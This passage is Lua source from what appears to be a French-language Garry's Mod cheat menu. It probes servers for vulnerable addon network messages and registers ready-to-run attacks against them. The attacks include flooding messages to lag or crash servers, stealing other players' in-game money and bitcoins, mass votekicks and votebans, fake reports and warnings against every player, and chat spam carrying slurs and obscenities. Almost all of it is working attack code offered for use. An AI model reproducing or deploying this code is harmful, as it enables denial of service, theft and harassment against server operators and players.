7342TextEntry2:SetSize( 380, 30 )
7343TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
7344TextEntry2:SetText( "Broadcast Msg" )
7345TextEntry2.OnEnter = function( self )
7346surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Broadcasting")
7347net.Start("VJSay")
7348net.WriteEntity(nil)
7349net.WriteString(TextEntry2:GetValue())
7350net.WriteString("")
7351net.SendToServer()
7352inputFrame2:SetVisible(false)
7353end
7354end)
7355end
7356
7357status = ValidNetString("ply_pick_shit")
7358if (status) then
7359CHATPRINT("Exploit Trouvé : Argent Gratuite amirite [ply_pick_shit]")
7360addExploit( "23","Argent Gratuite amirite", "", function()
7361surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") for k, v in pairs (player.GetAll()) do
7362for i = 1,255 do
7363net.Start("ply_pick_shit")
7364net.WriteEntity(LocalPlayer())
7365net.WriteEntity(v)
7366net.SendToServer()
7367end
7368end
7369--("Des thunes :^)")
7370end)
7371end
7372
7373status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
7374if (status) then
7375CHATPRINT("Exploit Trouvé : Faire Crash #2 [pac.net.TouchFlexes.ClientNotify]")
7376addExploit( "24","Crasher #2", "big lagz", function()
7377surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "crasher2" ) then
7378timer.Create("crasher2", 0, 0, function()
7379for i = 1, 400 do
7380net.Start("pac.net.TouchFlexes.ClientNotify")
7381net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
7382net.SendToServer()
7383end
7384end)
7385--("Starting Crasher")
7386else
7387timer.Remove("crasher2")
7388--("Stopping Crasher")
7389end
7390end)
7391end
7392
7393status = ValidNetString("BM2.Command.SellBitcoins")
7394if (status) then
7395CHATPRINT("Exploit Trouvé : Vendre Vos Bitcoins [BM2.Command.SellBitcoins]")
7396addExploit( "25","Vendre Vos Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
7397surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
7398net.Start("BM2.Command.SellBitcoins")
7399net.WriteEntity(v)
7400net.SendToServer()
7401end
7402for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
7403net.Start("BM2.Command.SellBitcoins")
7404net.WriteEntity(v)
7405net.SendToServer()
7406end
7407for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
7408net.Start("BM2.Command.SellBitcoins")
7409net.WriteEntity(v)
7410net.SendToServer()
7411end
7412end)
7413end
7414
7415status = ValidNetString("BM2.Command.Eject")
7416if (status) then
7417CHATPRINT("Exploit Trouvé : Crée Des Lags #4 [BM2.Command.Eject]")
7418addExploit( "26","Crée Des Lags #4", "", function()
7419surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger4" ) then
7420timer.Create("lagger4", 0, 0, function()
7421for i = 1, 1000 do
7422net.Start("BM2.Command.Eject",true)
7423net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
7424net.SendToServer()
7425end
7426end)
7427--("Lags Démarré")
7428else
7429timer.Remove("lagger4")
7430--("Lags Arreté")
7431end
7432end)
7433end
7434
7435status = ValidNetString("BM2.Command.SellBitcoins")
7436if (status) then
7437CHATPRINT("Exploit Trouvé : Crée Des Lags #5 [BM2.Command.SellBitcoins]")
7438addExploit( "27","Crée Des Lags #5", "", function()
7439surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger5", 0, 0, function()
7440for i=1,1000 do
7441net.Start("BM2.Command.SellBitcoins",true)
7442net.WriteEntity(LocalPlayer())
7443net.SendToServer()
7444end
7445end )
7446end )
7447end
7448
7449status = ValidNetString("ItemStoreUse")
7450if (status) then
7451CHATPRINT("Exploit Trouvé : Crée Des Lags #6 [ItemStoreUse]")
7452addExploit( "28","Crée Des Lags #6", "", function()
7453surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger6" ) then
7454timer.Create("lagger6", 0, 0, function()
7455for i = 1, 1000 do
7456net.Start("ItemStoreUse",true)
7457net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7458net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7459net.SendToServer()
7460end
7461end)
7462--("Lags Démarré")
7463else
7464timer.Remove("lagger6")
7465--("Lags Arreté")
7466end
7467end)
7468end
7469
7470status = ValidNetString("ItemStoreDrop")
7471if (status) then
7472CHATPRINT("Exploit Trouvé : Crée Des Lags #7 [ItemStoreDrop]")
7473addExploit( "29","Crée Des Lags #7", "", function()
7474surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger7" ) then
7475timer.Create("lagger7", 0, 0, function()
7476for i = 1, 1000 do
7477net.Start("ItemStoreDrop",true)
7478net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7479net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7480net.SendToServer()
7481end
7482end)
7483--("Lags Démarré")
7484else
7485timer.Remove("lagger7")
7486--("Lags Arreté")
7487end
7488end)
7489end
7490
7491status = ValidNetString("gMining.sellMineral")
7492if (status) then
7493CHATPRINT("Exploit Trouvé : Crée Des Lags #8 [gMining.sellMineral]")
7494addExploit( "30","Crée Des Lags #8", "", function()
7495surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7496if !timer.Exists( "lagger8" ) then
7497timer.Create("lagger8", 0, 0, function()
7498for i = 1, 1000 do
7499net.Start("gMining.sellMineral",true)
7500net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
7501net.WriteString(" ")
7502net.SendToServer()
7503end
7504end )
7505end
7506end )
7507end
7508
7509status = ValidNetString("PlayerUseItem")
7510if (status) then
7511CHATPRINT("Exploit Trouvé : Crée Des Lags #9 [PlayerUseItem]")
7512addExploit( "31","Crée Des Lags #9", "", function()
7513surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger9" ) then
7514timer.Create("lagger9", 0,0, function()
7515for i = 1, 800 do
7516net.Start("PlayerUseItem",true)
7517net.WriteInt(99999999999999999999999999999999999999999999999, 32)
7518net.SendToServer()
7519end
7520end)
7521--("Lags Démarré")
7522else
7523timer.Remove("lagger9")
7524--("Lags Arreté")
7525end
7526end)
7527end
7528
7529status = ValidNetString("RequestMAPSize")
7530if (status) then
7531CHATPRINT("Exploit Trouvé : Crée Des Lags #10 [RequestMAPSize]")
7532addExploit( "32","Crée Des Lags #10", "", function()
7533surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger10" ) then
7534timer.Create("lagger10", 0, 0, function()
7535for i = 1, 400 do
7536net.Start("RequestMAPSize",true)
7537net.SendToServer()
7538end
7539end)
7540--("Lags Démarré")
7541else
7542timer.Remove("lagger10")
7543--("Lags Arreté")
7544end
7545end )
7546end
7547
7548status = ValidNetString("MG2.Request.GangRankings")
7549if (status) then
7550CHATPRINT("Exploit Trouvé : Crée Des Lags #11 [MG2.Request.GangRankings]")
7551addExploit( "33","Crée Des Lags #11", "", function()
7552surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger11" ) then
7553timer.Create("lagger11", 0, 0, function()
7554for i = 1, 1000 do
7555net.Start("MG2.Request.GangRankings",true)
7556net.SendToServer()
7557end
7558end)
7559--("Lags Démarré")
7560else
7561timer.Remove("lagger11")
7562--("Lags Arreté")
7563end
7564end )
7565end
7566
7567status = ValidNetString("dLogsGetCommand")
7568if (status) then
7569CHATPRINT("Exploit Trouvé : Crée Des Lags #12 [dLogsGetCommand]")
7570addExploit( "34","Crée Des Lags #12", "", function()
7571surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Lags Démarré")
7572for i=1,7000 do
7573net.Start("dLogsGetCommand",true)
7574net.WriteTable({ cmd = "+forward" , args = " " })
7575net.SendToServer()
7576end
7577end )
7578end
7579
7580status = ValidNetString("ats_send_toServer")
7581if (status) then
7582CHATPRINT("Exploit Trouvé : Crée Des Lags #13 [ats_send_toServer]")
7583addExploit( "35","Crée Des Lags #13", "", function()
7584surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Lags Démarré")
7585for i=1,2000 do
7586net.Start("ats_send_toServer",true)
7587net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
7588net.SendToServer()
7589end
7590end )
7591end
7592
7593status = ValidNetString("shopguild_buyitem")
7594if (status) then
7595CHATPRINT("Exploit Trouvé : Exploit De Guildes [shopguild_buyitem]")
7596addExploit( "36","Exploit De Guildes", "", function()
7597surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Guild level successfully upgraded")
7598local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
7599if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
7600net.Start("shopguild_buyitem")
7601net.WriteString("lvl")
7602net.WriteDouble(level)
7603net.WriteString("Guild Level "..level)
7604net.WriteEntity(LocalPlayer())
7605net.WriteUInt(2,4)
7606net.WriteDouble(0)
7607net.SendToServer()
7608level = level + 1
7609end )
7610end
7611
7612status = ValidNetString("VoteKickNO")
7613if (status) then
7614CHATPRINT("Exploit Trouvé : Votekick [VoteKickNO]")
7615addExploit( "37","Votekick", "kicking all", function()
7616surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") for k,v in pairs(player.GetAll()) do
7617net.Start("VoteKickNO")
7618net.WriteFloat(v:EntIndex())
7619net.WriteFloat(6)
7620net.SendToServer()
7621net.Start("VoteKickNO")
7622net.WriteFloat(v:EntIndex())
7623net.WriteFloat(6)
7624net.SendToServer()
7625net.Start("VoteKickNO")
7626net.WriteFloat(v:EntIndex())
7627net.WriteFloat(6)
7628net.SendToServer()
7629net.Start("VoteKickNO")
7630net.WriteFloat(v:EntIndex())
7631net.WriteFloat(6)
7632net.SendToServer()
7633end
7634end )
7635end
7636
7637status = ValidNetString("VoteBanNO")
7638if (status) then
7639CHATPRINT("Exploit Trouvé : Voteban [VoteBanNO]")
7640addExploit( "38","Voteban", "bans all", function()
7641surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") for k,v in pairs(player.GetAll()) do
7642net.Start("VoteBanNO")
7643net.WriteFloat(v:EntIndex())
7644net.WriteFloat(8)
7645net.SendToServer()
7646net.Start("VoteBanNO")
7647net.WriteFloat(v:EntIndex())
7648net.WriteFloat(8)
7649net.SendToServer()
7650net.Start("VoteBanNO")
7651net.WriteFloat(v:EntIndex())
7652net.WriteFloat(8)
7653net.SendToServer()
7654end
7655end )
7656end
7657
7658status = ValidNetString("NewReport")
7659if (status) then
7660CHATPRINT("Exploit Trouvé : Report Modifié [NewReport]")
7661addExploit( "39","Report Modifié", "", function()
7662surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") for k,v in pairs(player.GetAll()) do
7663net.Start("NewReport")
7664net.WriteType(ply)
7665net.WriteInt(8,5)
7666net.WriteString("hahaha")
7667net.SendToServer()
7668end
7669end )
7670end
7671
7672status = ValidNetString("Warn_CreateWarn")
7673if (status) then
7674CHATPRINT("Exploit Trouvé : Warns Modifiés [Warn_CreateWarn]")
7675addExploit( "40","Warns Modifiés", "", function()
7676surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") for k,v in pairs(player.GetAll()) do
7677net.Start("Warn_CreateWarn")
7678net.WriteEntity(ply)
7679net.WriteString("hahaha")
7680net.SendToServer()
7681end
7682end )
7683end
7684
7685status = ValidNetString("showDisguiseHUD")
7686if (status) then
7687CHATPRINT("Exploit Trouvé : Déguisements #2 [showDisguiseHUD]")
7688addExploit( "41","Déguisements #2", "", function()
7689surface.PlaySound( "mat/pityclick.wav" )
7690PlayerCount = 0
7691for k, v in pairs(player.GetAll()) do
7692PlayerCount = PlayerCount + 1
7693end
7694local TeamNum
7695local disguise_Model_Preview_Default
7696local BDMenu = vgui.Create("DFrame")
7697BDMenu:SetSize(300,420)
7698BDMenu:Center()
7699BDMenu:SetTitle(" ")
7700BDMenu:ShowCloseButton(false)
7701BDMenu:MakePopup()
7702function BDMenu:Paint()
7703DrawBlur(self, blur_effect:GetInt())
7704draw.RoundedBoxEx( 0, 0, 0, BDMenu:GetWide(), BDMenu:GetTall(), Color(20,20,20,200),false,true)
7705draw.RoundedBox( 5, 0, 0, 5, h, Color( 20, 20, 20, 60 ) )
7706draw.RoundedBox( 5, 0, 0, w, 5, Color( 20, 20, 20, 60 ) )
7707draw.RoundedBox( 5, w - 5, 0, 5, h, Color( 20, 20, 20, 60 ) )
7708draw.RoundedBox( 5, 0, h - 5, w, 5, Color( 20, 20, 20, 60 ) )
7709end
7710local ExitButton = vgui.Create("DButton", BDMenu)
7711ExitButton:SetPos(280,0)
7712ExitButton:SetText("X")
7713ExitButton:SetSize(20,20)
7714ExitButton:SetFont("Default")
7715ExitButton.Paint = function()
7716ExitButton:SetTextColor(Color(255,255,255,255))
7717if ExitButton:IsHovered() then
7718draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,100,100,255),false,true)
7719else
7720draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,50,50,0),false,true)
7721end
7722end
7723function ExitButton.DoClick()
7724BDMenu:Remove()
7725net.Start("changeToPhysgun")
7726net.SendToServer()
7727end
7728local DTeamChoice = vgui.Create("DComboBox", BDMenu)
7729DTeamChoice:SetSize(150, 22)
7730DTeamChoice:SetPos(75, 50)
7731DTeamChoice:SetValue("Choisi L'Emplois")
7732for k, v in pairs(team.GetAllTeams()) do
7733if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
7734end
7735DTeamChoice.OnSelect = function(panel, index, value)
7736for k,_ in pairs(team.GetAllTeams()) do
7737if value == team.GetName(k) then
7738for _, v in pairs(player.GetAll())do
7739if v:Team() == k then
7740TeamNum = v:Team()
7741disguise_Model_Preview_Default = v:GetModel()
7742end
7743end
7744end
7745end
7746timer.Create("RefreshModel", 0.1, 0, function()
7747local icon = vgui.Create( "DModelPanel", BDMenu )
7748icon:SetSize(300, 260)
7749icon:SetPos(-5, 80)
7750icon:SetFOV(68)
7751icon:SetModel( disguise_Model_Preview_Default )
7752timer.Simple(0.1, function()
7753icon:Remove()
7754end)
7755end)
7756local DisguiseButton = vgui.Create("DButton", BDMenu)
7757DisguiseButton:SetPos(BDMenu:GetWide()/2.5, 360)
7758DisguiseButton:SetSize(60,20)
7759DisguiseButton:SetText("Accepter")
7760DisguiseButton:SetFont("DermaDefaultBold")
7761function DisguiseButton:Paint()
7762if DisguiseButton:IsHovered() then
7763draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,100,100,255),false,true)
7764else
7765draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,50,50,255),false,true)
7766end
7767end
7768function DisguiseButton:DoClick()
7769NOTIFICATION("Exploit lançé")
7770net.Start("SetPlayerModel")
7771if ChosenName == nil then
7772net.WriteString(LocalPlayer():Nick())
7773else
7774net.WriteString(ChosenName)
7775end
7776net.WriteUInt(TeamNum, 16)
7777net.SendToServer()
7778BDMenu:Close()
7779net.Start("changeToPhysgun")
7780net.SendToServer()
7781end
7782end
7783end
7784)
7785end
7786
7787status = ValidNetString("Chatbox_PlayerChat")
7788if (status) then
7789CHATPRINT("Exploit Trouvé : Spam Chat [Chatbox_PlayerChat]")
7790addExploit( "42","Spam Chat", "", function()
7791surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("willoxchatspam", 1, 0, function()
7792net.Start("Chatbox_PlayerChat")
7793net.WriteEntity(LocalPlayer())
7794net.WriteBit(1)
7795net.WriteString("FAGGOTS")
7796net.WriteBit(1)
7797net.SendToServer()
7798end )
7799end )
7800end
7801
7802status = ValidNetString("BuilderXToggleKill")
7803if (status) then
7804CHATPRINT("Exploit Trouvé : Exploits Constructeur Contre Tueur [BuilderXToggleKill]")
7805addExploit( "43","Exploits Constructeur Contre Tueur", "", function()
7806surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7807for k, v in pairs(player.GetAll()) do
7808net.Start("BuilderXToggleKill")
7809net.WriteEntity(ply)
7810net.SendToServer()
7811end
7812end )
7813end
7814
7815status = ValidNetString("reports.submit")
7816if (status) then
7817CHATPRINT("Exploit Trouvé : Report Tout Le Monde [reports.submit]")
7818addExploit( "44","Report Tout Le Monde", "", function()
7819surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7820for k,v in pairs(player.GetAll()) do
7821net.Start("reports.submit")
7822net.WriteEntity(v)
7823net.WriteInt(5, 8)
7824net.WriteString("SuckMyDick")
7825net.SendToServer()
7826end
7827end )
7828end
7829
7830status = ValidNetString("services_accept")
7831if (status) then
7832CHATPRINT("Exploit Trouvé : Spam Services [services_accept]")
7833addExploit( "45","Spam Services", "spam to all players", function()
7834surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7835timer.Create("serviceaccept", 0, 0, function()
7836for k,v in pairs(player.GetAll()) do
7837net.Start("services_accept")
7838net.WriteString("Sécurité En Carton - Seized By Pity")
7839net.WriteVector(Vector(v:GetPos()))
7840net.WriteString("test image")
7841net.WriteEntity(v)
7842net.SendToServer()
7843end
7844end )
7845timer.Simple(4, function()
7846timer.Destroy("serviceaccept")
7847end )
7848end )
7849end
7850
7851status = ValidNetString("lockpick_sound")
7852if (status) then
7853CHATPRINT("Exploit Trouvé : LockPick Spam Son [lockpick_sound]")
7854addExploit( "46","LockPick Spam Son", "", function()
7855surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7856timer.Create( "spamlockpicksound", 3, 0, function()
7857for k, v in pairs( player.GetAll() ) do
7858net.Start("lockpick_sound")
7859net.WriteEntity(v)
7860net.SendToServer()
7861end
7862end )
7863timer.Simple(4, function()
7864timer.Destroy("spamlockpicksound")
7865end )
7866end )
7867end
7868
7869status = ValidNetString("customprinter_get")
7870if (status) then
7871CHATPRINT("Exploit Trouvé : Voler L'Argents Des Printers [customprinter_get]")
7872addExploit( "47","Voler L'Argents Des Printers", "", function()
7873surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7874for k, v in pairs(ents.GetAll()) do
7875if v:GetClass():find("print") then
7876net.Start("customprinter_get")
7877net.WriteEntity(v)
7878net.WriteString("g_money")
7879net.SendToServer()
7880end
7881end
7882end )
7883end
7884
7885status = ValidNetString("InformPlayer")
7886if (status) then
7887CHATPRINT("Exploit Trouvé : SimpleGrab Inform [InformPlayer]")
7888addExploit( "48","SimpleGrab Inform", "", function()
7889surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7890for k,v in pairs(player.GetAll()) do
7891for i = 0, 100 do
7892net.Start("InformPlayer")
7893net.WriteEntity(v)
7894net.SendToServer()
7895end
7896end
7897end )
7898end
7899
7900status = ValidNetString("pogcp_report_submitReport")
7901if (status) then
7902CHATPRINT("Exploit Trouvé : Report Tout Le Monde #2 [pogcp_report_submitReport]")
7903addExploit( "49","Report Tout Le Monde #2", "", function()
7904surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7905for i = 0, 100 do
7906for k,v in pairs(player.GetAll()) do
7907net.Start("pogcp_report_submitReport")
7908net.WriteString("lol")
7909net.WriteString("88 Triggering :c")
7910net.WriteEntity(v)
7911net.SendToServer()
7912end
7913end
7914end )
7915end
7916
7917status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
7918if (status) then
7919CHATPRINT("Exploit Trouvé : Candidature De Dictateur Instant [1942_Fuhrer_SubmitCandidacy]")
7920addExploit( "50","Candidature De Dictateur Instant", "", function()
7921surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7922net.Start("1942_Fuhrer_SubmitCandidacy")
7923net.WriteString(LocalPlayer():Nick())
7924net.SendToServer()
7925end )
7926end
7927
7928status = ValidNetString("FacCreate")
7929if (status) then
7930CHATPRINT("Exploit Trouvé : Fac Create [FacCreate]")
7931addExploit( "51","Fac Create", "old exploit", function()
7932surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7933timer.Create("fucklol", 1, 0, function()
7934net.Start("FacCreate")
7935net.WriteString("LOL " .. random_string(5))
7936net.WriteString("LOL " .. random_string(10))
7937net.WriteColor(random_color())
7938net.WriteBool(false)
7939net.WriteString(random_string(5))
7940net.SendToServer()
7941end )
7942end )
7943end
7944
7945status = ValidNetString("FactionInviteConsole")
7946if (status) then
7947CHATPRINT("Exploit Trouvé : Faction Invite [FactionInviteConsole]")
7948addExploit( "52","Faction Invite", "", function()
7949surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7950timer.Create("lovedarkexploitsxd", 1, 0, function()
7951for k, v in pairs(player.GetAll()) do
7952net.Start("FactionInviteConsole")
7953net.WriteEntity( ply )
7954net.WriteEntity(table.Random(player.GetAll()))
7955net.SendToServer()
7956end
7957end )
7958end )
7959end
7960
7961status = ValidNetString("WithdrewBMoney")
7962if (status) then
7963CHATPRINT("Exploit Trouvé : Argent Gratuite #2 [WithdrewBMoney]")
7964addExploit( "53","Argent Gratuite #2", "Exploit Provenant De L'addon 'business'", function()
7965surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7966net.Start("WithdrewBMoney")
7967net.WriteInt(50000,32)
7968net.SendToServer()
7969end )
7970end
7971
7972status = ValidNetString("deathrag_takeitem")
7973if (status) then
7974CHATPRINT("Exploit Trouvé : Items Faciles [deathrag_takeitem]")
7975addExploit( "54","Items Faciles", "collects money, weapons", function()
7976surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7977count = 0
7978for k, v in pairs( ents.GetAll() ) do
7979if v:GetClass() == "prop_ragdoll" then
7980count = count + 1
7981end
7982end
7983if count == 0 then
7984CHATPRINT("No items found")
7985else
7986CHATPRINT("Amount of items "..count)
7987end
7988for k, v in pairs( ents.GetAll() ) do
7989if v:GetClass() == "prop_ragdoll" then
7990for i=1,10 do
7991net.Start("deathrag_takeitem")
7992net.WriteEntity( v )
7993net.WriteInt(i,16)
7994net.SendToServer()
7995end
7996end
7997end
7998end )
7999end
8000
8001status = ValidNetString("REPPurchase")
8002if (status) then
8003CHATPRINT("Exploit Trouvé : Heal & Armure [REPPurchase]")
8004addExploit( "55","Heal & Armure", "armor and hp", function()
8005surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8006if LocalPlayer():Health() < 99 then
8007net.Start("REPPurchase")
8008net.WriteString("HEALTH")
8009net.SendToServer()
8010end
8011if LocalPlayer():Armor() < 99 then
8012net.Start("REPPurchase")
8013net.WriteString("ARMOR")
8014net.SendToServer()
8015end
8016end )
8017end
8018
8019status = ValidNetString("BTTTStartVotekick")
8020if (status) then
8021CHATPRINT("Exploit Trouvé : Votekick #2 [BTTTStartVotekick]")
8022addExploit( "56","Votekick #2", "kick all noobs", function()
8023surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8024for k,v in pairs(player.GetAll()) do
8025if v != LocalPlayer() then
8026net.Start("BTTTStartVotekick")
8027net.Start("_nonDBVMVote")
8028net.WriteEntity(v)
8029net.WriteString("")
8030net.WriteString("1")
8031net.SendToServer()
8032end
8033end
8034end )
8035end
8036
8037status = ValidNetString("Resupply")
8038if (status) then
8039CHATPRINT("Exploit Trouvé : ReSpawn Equipment [Resupply]")
8040addExploit( "57","ReSpawn Equipment", "", function()
8041surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8042net.Start("Resupply")
8043net.SendToServer()
8044end )
8045end
8046
8047status = ValidNetString("DarkRP_Defib_ForceSpawn")
8048if (status) then
8049CHATPRINT("Exploit Trouvé : ReSpawn [DarkRP_Defib_ForceSpawn]")
8050addExploit( "58","ReSpawn #2", "just reSpawn", function()
8051surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("ReSpawn")
8052net.Start("DarkRP_Defib_ForceSpawn")
8053net.SendToServer()
8054end )
8055end
8056
8057status = ValidNetString("FiremanLeave")
8058if (status) then
8059CHATPRINT("Exploit Trouvé : Quitter Les Pompiers [FiremanLeave]")
8060addExploit( "59","Fireman Leave", "", function()
8061surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8062net.Start("FiremanLeave")
8063net.SendToServer()
8064end )
8065end
8066
8067status = ValidNetString("PoliceJoin")
8068if (status) then
8069CHATPRINT("Exploit Trouvé : Rejoindre La Police [PoliceJoin]")
8070addExploit( "60","Join the Police 1", "joining the police", function()
8071surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8072net.Start("PoliceJoin")
8073net.SendToServer()
8074end )
8075end
8076
8077status = ValidNetString("CreateEntity")
8078if (status) then
8079CHATPRINT("Exploit Trouvé : Crée Une Entité [CreateEntity]")
8080addExploit( "61","Create Entity", "", function()
8081surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8082for k,v in pairs(player.GetAll()) do
8083net.Start("CreateEntity")
8084net.WriteString("sent_arc_atm")
8085net.WriteFloat(100000000000000000000000000000000000000000000000000)
8086net.WriteEntity(v)
8087net.SendToServer()
8088end
8089end )
8090end
8091
8092status = ValidNetString("CREATE_REPORT")
8093if (status) then
8094CHATPRINT("Exploit Trouvé : Crée Des Reports [CREATE_REPORT]")
8095addExploit( "62","CREATE REPORT", "", function()
8096surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8097local tab = {
8098REPORTER = v:Nick(),
8099REPORTERID = v:SteamID(),
8100FAGGOT = v:Nick(),
8101FAGGOTID = v:SteamID(),
8102INFO = "Dite Bonjour A YouTube :D",
8103PROOF = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
8104}
8105for k,v in pairs(player.GetAll()) do
8106net.Start("CREATE_REPORT")
8107net.WriteTable(tab)
8108net.SendToServer()
8109end
8110end )
8111end
8112
8113status = ValidNetString("Hopping_Test")
8114if (status) then
8115CHATPRINT("Exploit Trouvé : Test De Bonheur [Hopping_Test]")
8116addExploit( "62","Hopping Test", "", function()
8117surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8118for k,v in pairs(player.GetAll()) do
8119net.Start("Hopping_Test")
8120net.WriteEntity(v)
8121net.WriteString("69.696.696969.69")
8122net.SendToServer()
8123end
8124end )
8125end
8126
8127status = ValidNetString("CpForm_Answers")
8128if (status) then
8129CHATPRINT("Exploit Trouvé : Rejoindre La Police [CpForm_Answers]")
8130addExploit( "63","Join the Police 2", "joining the police #2", function()
8131surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8132net.Start("CpForm_Answers")
8133net.WriteEntity(LocalPlayer())
8134net.WriteTable({})
8135net.SendToServer()
8136end )
8137end
8138
8139status = ValidNetString("VehicleUnderglow")
8140if (status) then
8141CHATPRINT("Exploit Trouvé : Néon De Véhicule [VehicleUnderglow]")
8142addExploit( "64","Vehicle Underglow", "", function()
8143surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8144net.Start("VehicleUnderglow")
8145net.SendToServer()
8146end )
8147end
8148
8149status = ValidNetString("OpenGates")
8150if (status) then
8151CHATPRINT("Exploit Trouvé : Ouvrir Porte #2 [OpenGates]")
8152addExploit( "65","Ouvrir Porte #2", "Force open the door you are looking at", function()
8153surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8154net.Start("OpenGates")
8155net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
8156net.SendToServer()
8157end )
8158end
8159
8160status = ValidNetString("DemotePlayer")
8161if (status) then
8162CHATPRINT("Exploit Trouvé : Démote Tout Les Joueurs [DemotePlayer]")
8163addExploit( "66","Demote All Players", "Demote all players", function()
8164surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8165for k, v in pairs(player.GetAll()) do
8166net.Start("DemotePlayer")
8167net.WriteString(v:SteamID())
8168net.SendToServer()
8169end
8170end )
8171end
8172
8173status = ValidNetString("SendMail")
8174if (status) then
8175CHATPRINT("Exploit Trouvé : Envoyez Mail [SendMail]")
8176addExploit( "67","Envoyez Mail", "sending mail to all players", function()
8177surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8178for k,v in pairs(player.GetAll()) do
8179net.Start("SendMail")
8180net.WriteString("Grosse sécurité les mecs ! :^)")
8181net.WriteString(v:Nick())
8182net.SendToServer()
8183end
8184end )
8185end
8186
8187status = ValidNetString("REPAdminChangeLVL")
8188if (status) then
